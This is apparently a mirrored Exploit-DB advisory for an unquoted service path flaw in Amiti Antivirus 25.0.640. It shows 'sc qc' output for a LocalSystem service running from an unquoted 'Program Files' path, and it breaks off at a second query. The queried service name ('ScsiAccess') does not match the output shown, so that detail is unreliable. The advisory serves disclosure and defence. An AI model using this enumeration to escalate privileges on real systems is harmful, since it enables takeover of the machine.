Amiti Antivirus 25.0.640 – Unquoted Service Path - 体验盒子

作者： ZwX

日期： 2019-12-05

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/47747/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

#Exploit Title: Amiti Antivirus 25.0.640 - Unquoted Service Path

#Exploit Author : ZwX

#Exploit Date: 2019-12-04

#Vendor Homepage : http://www.netgate.sk/

#Link Software : https://www.netgate.sk/download/download.php?id=11

#Tested on OS: Windows 7

#Analyze PoC :

==============

C:\Users\ZwX>sc qc ScsiAccess

[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: AmitiAvHealth

TYPE : 10WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL: 1 NORMAL

BINARY_PATH_NAME : C:\Program Files\NETGATE\Amiti Antivirus\AmitiAntivirusHealth.exe

LOAD_ORDER_GROUP :

TAG: 0

DISPLAY_NAME : Amiti Antivirus Health Check

DEPENDENCIES :

SERVICE_START_NAME : LocalSystem

C:\Users\ZwX>sc qc AmitiAvSrv